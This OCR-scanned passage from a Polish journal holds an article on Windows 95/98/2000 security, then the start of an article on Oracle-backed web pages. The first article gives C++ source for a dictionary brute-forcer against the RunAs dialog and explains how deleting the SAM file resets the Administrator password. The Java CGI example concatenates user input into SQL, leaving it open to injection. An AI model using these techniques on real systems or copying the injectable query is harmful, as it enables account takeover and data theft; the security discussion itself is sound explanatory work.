wania profilu DEFAULT. Wystarczy wej$¢ do niego i zablokowaé dla
siebie, a wigc w tym momencie dla profilu DEFAULT niektére rzeczy,
np. wykonywanie plikéw, ukrycie menu Start, Find (okna wyszukiwania)
czy tez calego pulpitu tak, aby nie mozna bylo usunaé, skopiowaé czy
zmieni¢ danych. Mozna to zrobié poprzez odpowiednie wpisy do rejestru.
Przedstawiony ponizej wpis blokuje w petni komputer:

(nalezy utworzy¢ plik ,,blokada.reg”, ktéry potem wystarczy urucho-

mi¢ z profilu ,,default™)
REGEDIT4

[HKEY CURRENT USER\
Software\Microsoft\Windows\CurrentVersion\Policies\Explorer]

"NoDesktop"=dword:00000001 ; wylacz puplpit
"NoFind"=dword: 00000001; brak polecenia SZUKAJ;
(ALT+F3)

"NoStartMenuSubFolders"=adword: 00000001 ; ukryj ;foldery
Menu Start

[HKEY CURRENT USER\
Software\Microsoft \Windows\CurrentVersion\Policies\WinOldApp]

"Disabled"=dword:00000001 ; wytacz tryb MS-DOS

"NoRealMode"=dword: 00000001 ; wyiacz ponowne

; uruchomienie w

; trybie MS-DOS

[HKEY CURRENT USER\

Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\
RestrictRun]

i P

; pozwdl aby byl uruchamiony program ™"
; (a wiec zaden)

Nalezy jednak pamigtac, aby ustawié¢ dla kazdego uzytkownika od-
dzielny pulpit (mozna to uczyni¢ poprzez Start—>Ustawienia—>Panel ste-
rowania~>UzZytkownicy, tworzac nowego uzytkownika, nalezy pamigtac
0 zaznaczeniu opcji Twdrz kopie biezqcych elementdw i ich zawartos¢).
Niezrobienie tego, a wigc gdy jest wspdlny pulpit dla wszystkich uzyt-
kownikow, spowoduje zablokowanie komputera dla wszystkich uzytkow-
nikéw. Jest tak dlatego, ze prawa dostepu sg jednakowe dla wszystkich.
Wtedy zablokowanie konta default, zablokuje wszystkie konta.
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Jako program do edycji rejestru moze nam poshuzyé program ,reg-
edit” dostarczony wraz z Windows. Edycja rejestru niesie duze ryzyko.
Ktos nieswiadomie moze usungé klucze, bez ktérych system nie
uruchomi si¢ poprawnie. Wiamywacz, majgc mozliwos¢ edycji rejestru,
moze rowniez doda¢ udzialy tak, aby mie¢ dostgp do naszych danych.
Jest to duzy minus w bezpieczenstwie systemow Windows 9x. Windows
2000 oferuje dodatkowe zabezpieczenia w postaci nadania kluczom praw
dostgpu za pomoca programu ,,regedt32.exe”.

E

2][DefaullLcid : REG_DWORD : 0x415

. 83 Console
+ -(2 Control Panel
¢ |-E3 Environment

{ F®mEUDC
- [~ Identities *!
(3 Keyboard Layout

i £ Network
+ -2 Printers —
i -2 RemoteAccess i
i -0 Software gt

¢ |3 UNICODE Program Groups 8

Rys. 6. Okno gléwne programu regedt32.exe

Po wybraniu z menu Zabezpieczenia—>Uprawnienia pokaze si¢ okno
pozwalajace nada¢ uprawnienia dla kazdego uzytkownika systemu Win-
dows 2000. Zalecane jest, aby administrator miat petny dost¢p do rejestru,
za$ inne konta mozliwie ograniczony.

3. Hasla w Windows

Hasta majg chroni¢ system przed intruzem, lecz niestety istniejg pro-
gramy tamigce hasta, takie jak:
e Cain [8] (Windows 9x),
e LC3[9] (Windows 2000).

Aby sie przed tym broni¢, nalezy zwrocié¢ uwage na zasad¢ zabezpie-
czeni w panelu secpol.msc. Przede wszystkim zasady haset, zasady blo-
kowania konta oraz w grupie Zasady lokalne—>Opcje zabezpieczen.
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Ustawienia zabezpieczen

{8 Zasady konta

-8 Zasady haset

-8 Zasady blokady konta

M- @ zasady protokotu Kerberos
IZ-]C@ Zasady lokalne

@) Zasady prowadzenia inspekcji
-8 Przypisywanie praw uzytkownika
JERACLOpcie zabezpieczer)
E-(23) Zasady Kluczy publicznych
- @, Zasady zabezpieczer IP w Komputer lokalny

Rys. 7. Drzewo panelu secpol.msc

Warto ustawi¢ nastepujace wartosci:

a) zasady hasta:

e maksymalny okres waznosci haset (14 dni),
minimalna dtugo$¢ hasta (7 znakow),

e historia hasel — lista pamigtanych hasel uzytkownika (5 haset),

b) zasady blokady konta:

e czas trwania blokady konta w zalezno$ci od specyfikacji stanowiska
serwer (3 dni),

jednostka pracownika (15 minut),

prog blokady konta (5 nieudanych prob).

Zbyt czeste nieudane logowanie si¢ na konto moze oznacza¢, ze kto$
probuje odgadnaé hasto. Zablokowanie konta w takiej sytuacji przerywa
proces odgadywania. Warto rowniez zajrze¢ do grupy zasad lokalnych,
gdzie mozna okreslié zasady inspekgji, jak 1 inne dosy¢ wazne ustawienia
dla bezpieczenstwa systemu Windows 2000.

Mimo bezpiecznej polityki stosowanej w systemie czasami wystarczy po
prostu wyzerowaé haslo, by wejs¢ do systemu [3]. Okazuje si¢, ze pod Win-
dows 98 usuniecie plikow powoduje, Ze system umozliwia ,,zalogowanie sig”.
Wydawaloby sig, ze w §rodowisku NT, a wige réwniez w Windows 2000 nie
powinno byé tego problemu. Jednak wystarcza dyskietki z Linuxem i po usu-
nigciu pliku %SystemRoot%\system32\configlSAM haslo zostanie usunigte.
Atakujacy moze teraz zalogowaé si¢ na konto ,,Administrator” z hastem
pustym. |
Jak si¢ mozna zabezpieczy¢? Dla Windows 2000 mozna ustawic
w BIOS-ie, by nie uruchamia¢ komputera z dyskietki i natozy¢ hasto na
BIOS. Niestety hasto BIOS-u mozna zresetowaé (jezeli atakujacy moze
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uruchomi¢ program na komputerze). Co nalezy wigc zrobi¢? Chyba tylko
catkowicie wyjaé naped FDD i CD z jednostki centralnej komputera.

W wypadku Windows 95/98 bez specjalnego oprogramowania nie
mozna zabezpieczyé sie przed tego typu atakiem, chyba ze tak jak wezes-
niej komputer zostat pozbawiony napeddéw zewngtrznych, tzn. FDD 1 CD.

4. Usluga RunAs

Windows NT zostat zaopatrzony w mozliwo$¢ uruchamiania aplika-
cji jako inny uzytkownik poprzez ushuge RunAds, zas Windows 2000 ja
odziedziczyt. Usluga RunAs pozwala wykona¢ operacj¢ (uruchomié apli-
kacje, skrypt) jako inny uzytkownik. Takie rozwigzanie pozwala praco-
waé jako uzytkownik o ograniczonych prawach np. na koncie gos$é 1w
momencie, gdy aplikacja bgdzie wymagala praw administratora, wystar-
czy uruchomi¢ ja jako administrator systemu.

Metoda takiej pracy pozwoli unikna¢ przypadkowego zainstalowania
trojana czy tez uruchomienia programu destrukcyjnego podczas co-
dziennej pracy. Konie trojafiskie czy witryny sieci Web moga wykonaé
tylko polecenie z uprawnieniem aktualnie zalogowanego uzytkownika, a
wiec maja te same ograniczenia co aktualnie zalogowany uzytkownik.

Uruthamrama programu jako

LF’I :-.Mozesz nie _rr_ sz
3 “ugywania wszystkich funkcji uruchamianégo programu,
.-Mozm uruchomi¢ ten program jako inny uzytkownik lub”
“ kontynuowat uruchamianie jako GEN:USZ\Adﬂmtratnr

Rys. 8. Okno RunAs — uruchom jako

Ustuga RunAs oddala czg$¢ zagrozen, jednak tworzy rowniez nowe.
Przykladem takiego zagrozenia moze by¢ atak wykorzystujacy fakt, ze
konto administratora nie moze by¢ zablokowane po kilku lub kilkunastu
prébach logowania sig na to konto [3].
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Atak wykorzystuje fakt, ze ustuga podczas préby uruchomienia pro-
gramu wyswictla okno, do ktérego mozna uzyskaé uchwyt okna (handle)
oraz uchwyty poszczegélnych komponentéw. Majac takie dane, wystar-
czy wypelni¢ odpowiednie pola (User oraz Hasto) i probowaé si¢ zalo-
gowaé (wysta¢ komunikat kliknigcia myszki do komponentu bution
z napisem ,,0K.”). W razie niepowodzenia mozna powtorzy¢ probe z in-
nym hastem. Wystarczy teraz napisa¢ aplikacje, ktdra robitaby to w petli.
Efekt to znalezienie hasta konta administratora pod warunkiem, ze Runds
jest dostgpna. Aby przygotowac aplikacje, nalezy rozwazy¢ kilka krokéw
petli:

1. znalezé okno RunAs (Uruchom jako...) 1 wypelni¢ komponenty od-
powiednimi danymi,

2. wysta¢ komunikat do komponentu Button ,,OK”, ze zostal ,klik-
nigty”,

3. nastepnic okno ginie, po czym nast¢puje sprawdzenie przez system,
czy hasto jest prawidlowe. Tutaj moze okazac sie, ze przez jakis czas
nie bedzie zadnego okna,

4. pojawia si¢ okno o bledzie (wtedy nalezy ,klikna¢” na przycisk
,OK”) lub aplikacja bedzie uruchomiona z prawami administratora
(hasto znalezione).

Te cztery punkty sa powtarzane do momentu przerwania petli lub
znalezienia hasta. |

Jednym z najwazniejszych elementéw programu jest Klasa Tenum.
Klasa jest odpowiedzialna za znalezienie uchwytu do okna, majac podana
nazwe okna (,,znajdz Okno”), przechowanie uchwytu do okna (HWND),
pobranie tekstu z komponentu typu ,,TEdit”(getE) 1 wypelnie tego kom-
ponentu tekstem (setE), pobranie tekstu z komponentéw typu ,,TButton”
(getOK) i wystanie komunikatu do komponentu o podanym uchwycie —
funkcja klik (HWND).

Klas¢ taka nietrudno skonstruowaé, gdyz funkcje opierajq si¢ na
przesylaniu komunikatéw. Bardziej szczegélowo zostanie omoéwiona
procedura korzystajaca z tej klasy (szukajaca uchwytéw komponentow)
oraz procedura, ktora jest odpowiedzialna za znalezienie hasta.

Ponizej przedstawiona jest metoda listujaca komponenty okna
o uchwycie 2Wnd. Funkcja jest typu CALLBACK; nalezy wigc umiescié
zapowiedz funkcji w pliku Unitl.h (nagtéwek funkcji):

bool CALLBACK EnumWindowsProc (HWND hWnd)
{ char WindowName[80], ClassName([80];
GetWindowText (hWnd, WindowName, 80);
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GetClassName (hiWind, ClassName, 80);
if (!strcmp (ClassName, "Button") &&!stramp (WindowName, "OK") )
Enum->setOkl (hWnd); // zapis hWnd w klasie Enum

if (!strcmp(ClassName,"Edit"))//
{id=id+1;

switch (id)

{ case l:Enum->setEl (hWnd) ;break;
case 2:Enum->setE2 (hWnd) ;break;
case 3:Enum->setE3 (hWnd) ;break; } }
return true;}

Funkcja pobiera nazwe komponentu o uchwycie ,,hWnd” oraz jego
tytul, a nastepnie sprawdza, czy nazwa klasy to przycisk z napisem ,,OK”.
Jezeli tak, to uchwyt do przycisku, a wigc do komponentu ,.Button”, jest
zapisywany w obiekcie TEnum. Jezeli nazwa klasy to ,,Edit”, wtedy jest
to komponent, w ktérym nalezy wpisa¢ dane:

void _ fastcall TForml::BStartClick(TCbject *Sender)
{BStart->Enabled=false; // wylacz przycisk Start
BStop->Enabled=true; // wtacz przycik Stop
static BOOL flaga; // czy znaleziono hasio
static int flaga2; // zabezpieczenie, jezeli flaga2=0,
to brak okna do wypeinienia
i petla obraca sie pusto
(nie pobiera nastepnego hasia),
czeka na pojawienie sie okna
static MAX;
LICZNIK=0; // ID hasia
flaga=0; flaga2=1;
int rob=1;
Postep->MinValue=0; // wskaznik postepu
Postep->MaxValue=LHasla->Items->Count-1;
MAX=LHasla->Items->Count;
lam=1;

do

{Application->ProcessMessages () ;

1d=0;
Enum->znajdzOknol ( (Tytol->Text) .c_str()):
oknol=Enum->getOknol () ;

if (Enum->getOknol () !=0)

{if (LICZNIK<MAX)
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{Postep->Progress=LICZNIK;

EnumChildWindows (Enum->getOknol (),
(WNDENUMPROC) EnumWindowsProc, NULL) ;
Enum->setText (Enum->getEl (), // ustaw tekst
EUser->Text.c_str());

Enum->setText (Enum->getE2 (),
LHasla->Items->Strings [LICZNIK].c str()); }
if (flaga2!=0) LICZNIK++;
Application->ProcessMessages () ;

flaga2=0; }
else
{ flagaz2=1;

Enum->znajdzOkno3 (NULL,
ECaption->Text.c str()).
if (Enum->getOkno3 () !=0) // okno istnieje
{ flaga2=1;
flaga=1;
BStop->Enabled=false;
BStart->Enabled=true;
Application->ProcessMessages () ;
if (LICZNIK>0)
MessageBox (Application->Handle,
LHasla->Items->
Strings [LICZNIK-1].c_str (),
"Haslo znaleziono",0);
else
MessageBox (Application->Handle,
"Aplikacja uruchomiona",
"Komunikat”,0); }
// Jjest drugie okno

else

{flagaz=1;
Enum-—->
znajdzOkno2 (EFileName->Text.c_str());
if (Enum->getOkno2 () !=0)

{ //0kno komunikatu biledu informujace ze uzytkownik
posiada zie uprawnienia

EnumChildWindows (Enum->getOkno2 (),

(WNDENUMPROC) EnumWindowsProc, NULL) ;

Application->ProcessMessages(); }

else

Application->ProcessMessages (); // przeslij komunikaty

z kolejki i pozwdl utworzy¢& okno

b}
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if ((LICZNIK>0) && (LICZNIK<MAX))
ESzukam~>Text=
LHasla->Items->Strings [LICZNIK-1].c str();

Enum~->klik (Enum->getOkl ());
rob++;
Caption=IntToStr (rob); }

while ((flaga==0)& (LICZNIK<MAX+1l)& (lam==1));
Application->ProcessMessages();

// wszystkie hasia slownika zostaly sprawdzone
if (LICZNIK>MAX) '
MessageBox (Application->Handle, "Hasto nie zostato
znalezione.
\nHasto nie wystapilo w slowniku.","Komunikat",O0);
Application->ProcessMessages();
BStart->Enabled=true; // witacz przycisk Start
BStop->Enabled=false;} // wylacz przycisk Stop

Ustawienie wartos$ci /lam = 0 powoduje wyjscie z petli.

Rys. 9. Okno programu £amacz Run As

Program dostgpny jest na stronie www . runas.prv.pl.



150 Radosiaw Biadur

5. Szyfrowanie

Technologia NT to nie tylko nadawanie praw plikom dla poszczeg6l-
nych uzytkownikéw. To takze mechanizm ,rejestru zdarzen” (logow),
ustug, a przede wszystkim mozliwosci szyfrowania danych (EFS — En-
crypting File System). System ten oparty jest na kluczu publicznym, ktéry
koduje dane w czasie rzeczywistym. Uniemozliwia to skorzystania z tych
danych bez wlasciwego klucza [3]. System EFS moze kodowac, uzywajac
losowo generowanego klucza kodowania (FEK), ktory jest nastgpnie ko-
dowany za pomocg jednego lub kilku kluczy publicznych, w tym réwniez
klucza uzytkownika (kazdy uzytkownik otrzymuje par¢ kluczy — pu-
bliczny/prywatny), oraz klucza agenta odzyskiwania. Zakodowane wartosci
przechowywane sg jako atrybuty plikéw. System szyfrowania EFS rzeczy-
wiscie uniemozliwia przeczytanie danych przez nieupowaznionego uzyt-
kownika, lecz wyzerowanie hasta poprzez usunigcie pliku %System-
Root%\system32\config\SAM umozliwia zalogowanie si¢ na konto admi-
nistratora z pustym hastem i odczytanie zakodowanych plikow. Jest tak
dlatego, ze system nadal posiada klucz umozliwiajacy rozszyfrowanie da-
nych. Klucz ten identyfikuje tylko uzytkownika, a wigc jezeli dane zostaly
zaszyfrowane przez administratora, to w tym momencie sg dostgpne.

Istnieje metoda na poziomie systemu operacyjnego, ktéra niewatpli-
wie utrudni odczyt przez druga osobe zakodowanych danych. Ta metoda
polega na zapisaniu klucza na dyskietce, a nastgpnie usunigcie go z sys-
temu. Teraz jezeli uzytkownik bedzie si¢ logowaé, to system poprosi
oten klucz. Calo$é operacji mozna wykona¢ w panelu Zasady grup
(gpedit.msc). Pokazuje to rys. 10.

Dml

@Zesadykmmtuhkaiw

B {8 Konfiguacja komputera

i @{] Ustawienia oprogramowani¢
! 2-( Ustawienia systenu Windov
£l -E] skvpty (Uuchamianif:
|| B Ustawiena 2abezpiecze
’ i ©(Q Zesady konta
Pl @8 Zasadylokahe
L B0 Zasady Kucay pubk —
P - £ Agendi odzyskin _Pomoc
1 B8 Zasady 2abezpiecze

Rys. 10. Okno apletu Zasady grup
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To nie koniec problemu. W momencie szyfrowania plik zostaje przenie-
siony do katalogu remp pod nazwa efs0.tmp [3], ktéry jest szyfrowany i zapisy-
wany na miejsce poczatkowego pliku, po czym plik jest kasowany. Wydaje sig,
ze pliku nie ma, jednak plik jest na dysku. Wpis w gléwnej tablicy plikow ozna-
czony jest jako pusty. Dopiero w momencie zapisu nowych plikow plik moze
zosta¢ ,,zamazany”. Fizycznie plik na powierzchni dysku jest. Pozostaje problem
odezytu jego zawartosci. Dane takie mozna odczyta¢ edytorem na niskim po-
ziomie, np. ,,dskprobe.exe”, ktéry mozna znalezé w pakiecie Resource Kit Win-
dows 2000. Aby zabezpieczy¢ sig, istnieja dwie metody: -

e uzy¢ narzedzia cipher. Sposéb jego uzycia to Cipher /W: d:\kosz, co
spowoduje oczyszczenie katalogu ,,d:\kosz”. Klastry dysku zwigzane
najpierw tym katalogiem zostana nadpisane (wyzerowane),

e utworzy¢ najpierw katalog, a nastgpnie go zaszyfrowa¢. Potem zapi-
sywa¢ w nim wazne dane (system wowczas nie tworzy kopii plikéw
nieszyfrowanych).

Wigcej informacji na temat szyfrowania przez system Windows 2000
mozna znalez¢ na stronach internetowych firmy Microsoft [10].

* ok ok

W artykule zostaly przedstawione tylko niektore problemy bezpieczenstwa
systeméw Windows 95/98/2000. Réznice w Windows 95 i 98 pod wzglgdem
bezpieczenstwa sgq znikome. Systemy te nie daja pewnej metody ochrony da-
nych, stad nie powinny by¢ stosowany tam, gdzie wazna jest poufno$¢ danych.
Dopiero system Windows 2000 (NT) oferuje szereg zabezpieczen, ktére jednak
tez mozna obej$¢. W artykule chcialem przedstawic¢ kilka sposobow takiego
obejscia i ewentualne konsekwencje tego. Pordwnanie zabezpieczenia w syste-
mach Windows 9x oraz 2000 zawiera tab. 2.

Tab. 2. Poréwnanie cech bezpieczeristwa systemow Windows 95/98 i Windows 2000

Windows 95/98 Windows 2000

Zabezpieczenia DOS-u

tylko programowo

brak DOS-u

Zabezpieczenie rejestru

tylko programowo

tak

Natozenie praw uruchamiania
plikéw

tylko programowo

tak

Ochrona hastem

staba (mozna obejsc)

dobra (trudno obejs¢, lecz jest to
mozliwe)

Zerowanie hasla

wystarczy usunaé plik
* pwl

tak — tylko z innego systemu
poprzez usunigcie pliku sam

Monitorowanie¢ pracy systemu

tylko programowo

tak

tak — nalezy zastanowié si¢, czy

Zdalne wykonywanie programu brak ta ushuga jest potrzebna
Blokada portéw tylko programowa tak
Szyfrowanie danych tylko programowo tak
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Interfejsy polaczen do baz danych Oracle
na stronach WWW

Jan Ulrich

1. Dynamiczne generowanie stron opierajgcych si¢ na bazach danych

Problemem poruszanym w tym artykule jest tak zwane dynamiczne
przedstawianie zawartosci na stronach WWW. Skladniki interfejsu uzyt-
kownika ,,czystego” HTML-u ograniczaja si¢ do poruszania si¢ migdzy
stalq strukturg stron, ktérych zawartosé tez jest stata. Kazda funkcjonal-
no$¢ wychodzaca poza te ramy musi by¢ wspierana przez odpowiedni
program uruchamiany po stronie komputera-serwera.

Tymczasem bardzo waznym obszarem zastosowan stron WWW
stalo si¢ prezentowanie danych z bazy danych, implementacja zdalnego
skladania zamowien i inne zagadnienia, ktére wymagaja komunikacji
z uzytkownikiem. O ile sama komunikacja moze by¢ realizowana przy
uzyciu formularzy na stronie, to dane te muszg by¢ po stronie serwera
obrabiane i zapamietywane. Stuza do tego specjalne programy, ktérych
efektem uruchomienia jest wygenerowanie strony w czystym jezyku
HTML. Strona ta nastgpnie jest przesylana do klienta i interpretowana
przez jego przegladarke. Zadaniem programu jest zazwyczaj potaczenie
si¢ z bazg danych i przeprowadzenie na niej pewnych operacji, np.
wezytanie zawarto$ci artykutu prasowego lub zapisanie zlecenia do bazy
sklepu internetowego. Oczywiscie, wszystkie te zagadnienia mozna by
realizowaé za pomoca czystego HTML-u, ale koszt takiej pracy bylby
ogromny - nalezatloby modyfikowaé strukturg¢ stron, np. przy
kazdorazowym dodaniu towaru do sklepu internetowego. Duzo wygod-
niej jest dopisa¢ wiersz do bazy danych — zazwyczaj za pomocg pro-
gramu administracyjnego.
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2. Krétki przeglad technologii

2.1 Technologia CGI

Istnieje wiele technologii pozwalajacych na realizacjg¢ tego zagadnie-
nia. Najstarsza jest CGI (ang. Common Gateway Interface). Zasada dzia-
lania jest prosta. Klient za pomocg swojej przegladarki wysyla zadanie
strony do serwera. Serwer, aby je speinié, uruchamia zwykly program,
a jego wynik przesyla klientowi. Wymagania stawiane programowi CGI
sa nastepujace:

e musi czyta¢ ze standardowego wejscia,
e pisaé na standardowe wejscie,

e obslugiwac zmienne systemowe,

e czyta¢ parametry wywolania programu.

Reguly te speniaja miedzy innymi: C++, shelle (Unix), Perl, Pascal, Java.
Do wad CGI nalezy przede wszystkim duze zuzycie zasobéw systemowych ser-
wera. Program CGI jest uruchamiany jako oddzielny proces, ktory otrzymuje
wilasng przestrzen adresowa. Ponadto jest malo bezpieczny. Przykiad: jezeli pro-
gram zapisuje dane pobierane z formularzy do pliku, to plikowi temu musimy
nada¢ prawa zapisu dla uzytkownika (goscia lub uruchamiajacego serwer WWW
z CGI), co moze byé potencjalna dziurg z zabezpieczeniach serwera.

2.2 Technologia PHP

PHP jest jezykiem programowania zagniezdzonym w kodzie strony
WWW napisanej w jezyku HTML. Jest to tak zwany jezyk server — side,
tzn. kod PHP jest przetwarzany przez serwer, a wygenerowany przez
niego wynik jest przesylany do klienta.

Przyklad

<html>

<head>
<title>Przyktad</title>
</head>

<body>

<?php

echo ("Prosty skrypt w jezyku PHP.");
>

</body>

</html>
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Powyzszy przyklad pokazuje zwykla strong HTML. Zawiera ona
standardowe znaczniki HTML, HEAD, TITLE 1 BODY. Wewnatrz
znacznika BODY, gdzie w zwyklej stronie znajduje si¢ kod html, tutaj
wida¢ znaczniki <?php........ ?>, wewnatrz ktérych umieszcza si¢ kod
w jezyku PHP — np. funkcje¢ echo. Nie ma tutaj problemu, jaki stwarzaja
skrypty CGI, gdzie trzeba wielokrotnie wpisywac instrukcje produkujace
kod HTML (wszystkie znaczniki).

Na najprostszym poziomie PHP potrafi wszystko to, co potrafi skrypt
CGI, a wiec przetwarzanie danych, dynamiczne generowanie strony i ob-
shuga cookies. Najbardziej przydatng strong PHP jest latwos¢ dostepu do
wielu popularnych baz danych, np. InterBase, PostgreSQL, dBase,
mSQL, Sybase, IBM DB2, MySQL, Oracle (OCI7 1 OCIS) [4].

Jezyk PHP zawiera wiele udogodnien. Jego skladnia jest analogiczna
do C, ale podstawowa rdznica polega na tym, ze kod PHP jest interpreto-
wany, a nie kompilowany. Mozna tworzy¢ zmienne wielu réznych typow,
ale nie istnieje restrykcyjny mechanizm ich kontroli. Mozna definiowa¢
klasy, ale nie mozna postugiwaé si¢ typami strukturalnymi. PHP jest mie-
szankg wielu jezykow, dzieki czemu otrzymano zupelnie nowa jako$¢
dzialania.

2.3 Technologia JSP firmy Sun Microsystems

Glownym atutem programowania w JSP nie jest tatwos¢ programo-
wania (PHP jest duzo latwiejsze), ale potezne mozliwosci wynikajace
z zastosowania obiektowego jezyka Java. JSP wchodzi w skiad platformy
Java 2 Enterprise Edition i moze wykorzystywa¢ jej inne komponenty,
takie jak serwlety czy EJB. Mozliwe jest takze wykorzystanie szerokiej
gamy bazodanowych sterownikéw JDBC; istnieja funkcje specyficzne
tylko dla JSP: biblioteki etykiet. Na najprostszym poziomie proces two-
rzenia strony JSP przebiega tak:

e odebranie zadania strony z przegladarki HTML klienta,
e  przetworzenie zadanej strony WWW,

e skompilowanie jej do postaci serwletu,

e wygenerowanie odpowiedzi i wyslanie jej klientowi.

Kontener musi wiec obstugiwac protokél HTTP, a poza tym moze
wspieraé inne protokoty typu zadanie-odpowiedz. Kompilacja ma dwie
zasadnicze zalety. Po pierwsze, w wypadku dostgpu drugi raz do tej samej
strony czas oczekiwania na odpowiedz jest zredukowany. Po drugie, czas
potrzebny na otwarcie kontenera jest takze zmniejszony, dlatego Ze nie
trzeba uruchamia¢ kompilatora [2].
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Caly proces przebiega tak, jak pokazuje ponizszy schemat.

zgdanie
Przegladarka P Strona JSP
l kompilacja
Przegladarka € odpowiedz Strona JSP

Rys. 1. Proces obstugi zqdania przez kontener JSP

3. Przykladowe implementacje

3.1 Technologia CGI w Javie

Uproszezony schemat relacji pomigdzy uzytkownikiem, serwerem Apache,
skryptem CGI w Java a baza Oracle przedstawia rys. 2.

Internet [———»! Serwer |}———p| Skrypt |———p| Oracle8i
Explorer Apache w Java

Rys. 2. Realizacja 2qdania przez serwer Apache

Uzytkownik, wpisujac adres http: //localhost/system.html,
wysyla prosbe do serwera APACHE o dostarczenie strony. Serwer do-
starcza strone (jeszcze statyczng), w ktorej jest formularz z oknem edy-
cyjnym i przyciskiem Szukaj. Uzytkownik wpisuje tam zgdang maske
nazwiska i wciska przycisk. To, co wpisat uzytkownik, zostaje przeka-
zane poprzez serwer Apache do skryptu CGIL. Skrypt pobiera dane z bazy
Oracle i tworzy z nich kod strony WWW. Ten kod zostaje przekazany
przez serwer Apache do przegladarki.

Jakie dane sg przekazywane na poszczegdélnych poziomach? Naj-
pierw uzytkownik wysyta do serwera Apache prosbg o strong. Nastgpnie
serwer uruchamia skrypt CGI (bedzie si¢ on nazywal Polacze-
nie.class) napisany w Java, przekazujac mu jako parametr np. S.
Skrypt ten wysyla do bazy zapytanie:

"select empno, ename, job from emp where upper(ename) like upper('S");",
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gdzie S jest tancuchem, ktéry podat uzytkownik. Baza zwraca 2 rekordy:

7369 SMITH CLERK

7788 SCOTT ALANYST,
ktére skrypt CGI "ubiera", tworzac z nich kod strony WWW. Kod ten jest
przekazywany przez serwer Apache do przegladarki, a ta interpretuje go
i pokazuje strong uzytkownikowi.

Do stworzenia skryptu Polaczenie.class potrzebny jest
kompilator Java (np. javac.exe), ktory przetworzy ponizszy kod do pliku
z kodem bitowym (z rozszerzeniem *.class), a ten moze by¢ uruchamiany
przez plik java.exe. Kod klasy Polaczenie (czyli skryptu CGI) wy-
glada tak:

import java.sql.*;
class Polaczenie

{
String url= new String ("jdbc:oracle:thin:@n4u014:1521:SID");

Connection con; ResultSet res;
public Polaczenie() throws
ClassNotFoundException, SQLException
{
Class.forName ("oracle.jdbc.driver.OracleDriver");
con=DriverManager.getConnection (url,"scott","tiger");
}//koniec konstruktora
public void drukuj (String param) throws SQLException
{
Statement st = con.createStatement():
res=st.executeQuery("select * from emp where
upper (ename) like upper ('"+param+"%$')");
System.out.println ("<b><u>Nr Nazwisko
Stanowisko</u></b><br>");
while (res.next())
{String wynik=res.getString(l)+" "+res.getString(2)+"
"t+res.getString(3):;
System.out.println ("<b>"+wynik+"</b><br>");}
res.close();
}
public void finalize() throws Throwable
{
if (con!= null) con.close():
}
public static void main(String [] args)

{



160 Jan Ulrich

System.out.println("Content-type: text/html;
charset=windows-1250") ;
System.out.println("");
System.out.println ("<HTML>");
System.out.println ("<BODY>") ;
System.out.println ("Szukam kogos
na:"+args[0]+"<BR>");
try
{

Polaczenie moje=new Polaczenie();
moje.drukuj (args[0]);
}

catch (ClassNotFoundException e)
{

System.out.println(e);

}
catch (SQLException e)

{

System.ocut.println(e);

}
System.out.println ("</BODY>");
System.out.println ("</HTML>") ;
}//koniec main'a

}//koniec klasy

Powyzsza klasa Polaczenie ma konstruktor, ktérego zadaniem
jest sprawdzenie, czy odpowiedni driver (oracle.jdbe.driver.OracleDriver)
istnieje w pliku cassesl11.zip wskazywanym przez zmienna Srodowi-
skowg CLASSPATH (za to odpowiada metoda Class.forName) i czy uda
si¢ potaczy¢ z bazg Oracle (za to odpowiada metoda DriverMana-
ger.getConnection (url,"scott","tiger");).

Yacze sie z bazg jako uzytkownik SCOTT o standardowym hasle
TIGER. Zwraca jeszcze uwagg pole klasy:

String url= new String ("jdbc:oracle:thin:@n4u014:1521:SID");

"jdbc:oracle:thin" oznacza tutaj nazwe sterownika JDBC. Jest to tzw.
THIN CLIENT, czyli "lekki" klient, pozwalajcy taczy¢ sie z baza bez ko-
nieczno$ci instalacji Net8 po stronie klienta. Net8 to interfejs polaczenia
bazy danych Oracle z klientem (moze nim by¢ np. Oracle Form Builder
lub Oracle Report Builder);

"n4u014" to nazwa hosta, na ktérym zainstalowana jest baza;

"1521" to numer portu, na ktérym nastuchuje LISTENER - specjalny
proces bazy zajmujacy si¢ odbieraniem zapytan skierowanych do niej;
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"SID" to po prostu SID bazy, czyli System Identifier — unikalny fafcuch
opisujacy dang instancj¢ bazy danych Oracle.

Metoda drukuj (String) tworzy glowng czg$¢ strony zawierajaca
podkreslony nagltowek i trzy kolumny z danymi. Jej najwazniejszg czg-
$cig jest metoda executeQuery pochodzaca z klasy Statement, ktdra
kieruje zapytanie do bazy danych. Metody: getString(int) i next() z klasy
ResultSet odpowiadaja za pobieranie kolejnych pél z kolejnych re-
kordow wezytanych z bazy.

W ten sposob skrypt tworzy pelny kod HTML, ktéry moze by¢ zin-
terpretowany przez dowolng przegladarke internetowa.

3.2 Technologia PHP

Podam teraz przyklad implementacji sklepu internetowego w PHP —
najistotniejsze fragmenty. Sklep internetowy shuzy do sprzedawania roz-
nych towar6w klientom. Towary sa pogrupowane w kategorie. Klienci
musza rejestrowaé sie w sklepie przed dokonaniem zakupu, zostawiajac
tam swoje dane: miedzy innymi adres domowy i e-mail, co jest konieczne
do realizacji zaméwienia. Chee, aby kazdy klient po zalogowaniu si¢
mogl przegladaé towary wedtug kategorii, wybiera¢ niektore z nich i za-
mawiaé okreslong ich iloé¢, uzywajac koszyka. Informacje o zamédwie-
niach i ich realizacjach bede przechowywat (tak jak i dane o tawarach, ich
kategoriach i klientach) w relacyjno-obiektowej bazie Oracle 8. Wyste-
powaé tutaj beda tabele z: kategoriami towardéw, towarami, klientami
sklepu, zaméwieniami, realizacjami zamowien.

Specyficzna jest tylko tabela z zaméwieniami — kazde zaméwienie
(nawet wielu towar6w naraz) reprezentowane jest jednym tylko wier-
szem. Mozliwe jest to dzieki obiektowemu rozszerzeniu bazy Oracle —
tutaj tablicom VARRAY i typom obiektowym:

CREATE TYPE TZAMOWIENIE AS OBJECT (

TOW_KOD number (10,0),

ILE number (10,0)

)i

CREATE TYPE TZAMOWIENIA AS

VARRAY (50) OF TZAMOWIENIE;

create table ZAM

(

ID number (10,0),

ZAMOWIENIA TZAMOWIENIA,

DATA date not null,

KLI_KOD number (10,0) NOT NULL,
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PRIMARY KEY (ID),

FOREIGN KEY (KLI_KOD) REFERENCES KLI
):

Na rys. 3 podany jest uproszczony schemat relacji mi¢dzy tabelami.

KLIENCI
KATEGORIE
A\
/\ ZAMOWIENIA
TOWARY AN
REALIZACIJE

Rys. 3. Schemat encji calej bazy

1
———p1 LOGIN.HTML NOWY.HTML _{

_'
